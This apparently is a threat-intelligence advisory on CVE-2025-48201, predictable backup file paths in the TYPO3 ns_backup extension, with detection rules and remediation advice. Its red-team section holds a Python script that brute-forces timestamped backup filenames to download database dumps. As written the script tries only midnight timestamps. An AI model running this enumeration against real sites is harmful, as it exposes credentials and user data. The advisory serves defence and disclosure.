CVE-2025-48201

Executive Summary

CVE-2025-48201 identifies a Predictable Resource Location vulnerability (CWE-425) in the ns_backup extension for TYPO3, affecting all versions up to and including 13.0.0. This flaw allows an unauthenticated remote attacker to enumerate and access backup files stored in a predictable directory path, leading to the exposure of sensitive data such as database dumps, configuration files, and user credentials. The vulnerability has a CVSS score of 8.6 (High) due to its low attack complexity and no required privileges. As of this report, no official patch has been released, and no public exploit code or proof-of-concept is available. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for exposed instances.

Supply Chain & Package Security

This vulnerability affects a third-party TYPO3 extension (ns_backup) distributed via the TYPO3 Extension Repository (TER). Since the extension is not part of the core TYPO3 package, it introduces a supply chain risk. Administrators must verify the integrity of the extension package and monitor for updates from the vendor. No OSV or GitHub advisory data is available for this CVE.

CVSS Breakdown & Threat Level

• CVSS Score: 8.6 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions or race conditions required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – The vulnerable component is the only affected asset.
• Confidentiality (C): High – Backup files may contain sensitive data.
• Integrity (I): None – No data modification possible.
• Availability (A): None – No denial of service.

Threat Level: High. The predictable resource location allows attackers to brute-force or guess backup file names, leading to data exfiltration.

Deep Dive & Mechanics

The ns_backup extension creates backup archives (e.g., .sql, .tar.gz) and stores them in a predictable directory under the TYPO3 web root, typically typo3temp/var/backups/ or a similar path. The file naming convention follows a predictable pattern, such as backup_YYYYMMDD_HHMMSS.sql or backup_<timestamp>.tar.gz. An attacker can enumerate these files by iterating through timestamps or common patterns, then directly access them via HTTP GET requests.

Root Cause: The extension fails to implement access controls or randomize backup file names. It does not restrict access to the backup directory via .htaccess or web server configuration, nor does it use non-guessable filenames.

Attack Flow:

1. Attacker identifies a TYPO3 instance with the ns_backup extension enabled.
2. Attacker sends HTTP GET requests to predictable paths like /typo3temp/var/backups/backup_20250101_120000.sql.
3. If the file exists, the server returns it, exposing sensitive data.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current implementation. A patched version would need to:

• Store backups outside the web root (e.g., in a non-public directory).
• Use random, non-predictable filenames (e.g., UUIDs).
• Implement authentication checks before serving backup files.
• Add .htaccess or web server rules to deny direct access to the backup directory.

Vulnerable Code Example (Conceptual):

// ns_backup/Classes/BackupService.php
public function createBackup() {
    $filename = 'backup_' . date('Ymd_His') . '.sql';
    $path = PATH_site . 'typo3temp/var/backups/' . $filename;
    // ... backup logic ...
    file_put_contents($path, $backupData);
}

Patched Code Example (Conceptual):

// ns_backup/Classes/BackupService.php
public function createBackup() {
    $filename = bin2hex(random_bytes(16)) . '.sql';
    $path = '/var/typo3_backups/' . $filename; // Outside web root
    // ... backup logic ...
    file_put_contents($path, $backupData);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A TYPO3 instance with ns_backup extension installed (version <= 13.0.0).
• Network access to the web server.

Exploitation Steps:

1. Enumerate the backup directory path (common: /typo3temp/var/backups/).
2. Use a script to brute-force timestamps or common patterns.

Example Python Script:

import requests
import datetime

target = "http://target-typo3.com"
backup_dir = "/typo3temp/var/backups/"
patterns = [
    "backup_{}.sql",
    "backup_{}.tar.gz",
    "db_backup_{}.sql"
]

start = datetime.datetime(2025, 1, 1)
for i in range(365):
    date_str = (start + datetime.timedelta(days=i)).strftime("%Y%m%d_%H%M%S")
    for pattern in patterns:
        url = target + backup_dir + pattern.format(date_str)
        r = requests.get(url)
        if r.status_code == 200:
            print(f"Found: {url}")
            # Save or exfiltrate

Expected Outcome: Successful retrieval of backup files containing database credentials, user data, and configuration.

Blue Team (Defense & Detection)

Immediate Actions:

1. Move backup storage outside the web root.
2. Implement .htaccess deny rules for the backup directory.
3. Randomize backup filenames using UUIDs.
4. Monitor access logs for patterns of directory traversal or brute-force attempts.

Detection Rules:

• Monitor HTTP 200 responses to /typo3temp/var/backups/ paths.
• Alert on multiple requests to backup files with sequential timestamps.

Indicators of Compromise (IOCs)

• File Paths: /typo3temp/var/backups/backup_*.sql, /typo3temp/var/backups/backup_*.tar.gz
• HTTP Requests: GET requests to the above paths with sequential timestamps.
• Network Traffic: Outbound data transfers from the TYPO3 server to external IPs (if exfiltration occurs).
• Log Entries: Apache/Nginx access logs showing 200 responses to backup file paths.

Detection Engineering

YARA Rule

rule Detect_ns_backup_Predictable_Backup {
    meta:
        description = "Detects predictable backup file names from ns_backup extension"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-48201"
    strings:
        $pattern1 = /backup_\d{8}_\d{6}\.sql/
        $pattern2 = /backup_\d{8}_\d{6}\.tar\.gz/
        $pattern3 = /db_backup_\d{8}_\d{6}\.sql/
    condition:
        any of them
}

Sigma Rule

title: Detect Predictable Backup File Access via ns_backup
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests to predictable backup file paths in TYPO3 ns_backup extension
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|contains: '/typo3temp/var/backups/'
        cs-uri-stem|re: 'backup_\d{8}_\d{6}\.(sql|tar\.gz)'
    condition: selection
falsepositives:
    - Legitimate backup downloads by authorized users (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-48201 - Predictable Backup File Access in TYPO3 ns_backup";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"/typo3temp/var/backups/";
    http_uri;
    pcre:"/backup_\d{8}_\d{6}\.(sql|tar\.gz)/";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate (No Patch Available):

1. Disable the extension: Remove or deactivate ns_backup until a patch is released.
2. Move backup storage: Configure the extension (if possible) to store backups outside the web root (e.g., /var/typo3_backups/).
3. Web server hardening: Add deny rules for the backup directory:
   • Apache: .htaccess with Require all denied
   • Nginx: location /typo3temp/var/backups/ { deny all; }
4. Randomize filenames: Manually modify the extension code to use random filenames (see patched code example).
5. Monitor logs: Enable detailed logging and alert on access to backup paths.

Long-term:

• Apply the official patch when released by the vendor.
• Conduct a security audit of all third-party TYPO3 extensions.
• Implement a Web Application Firewall (WAF) to block predictable path patterns.

Valters IT – Securing digital ecosystems through proactive threat intelligence and DevSecOps excellence.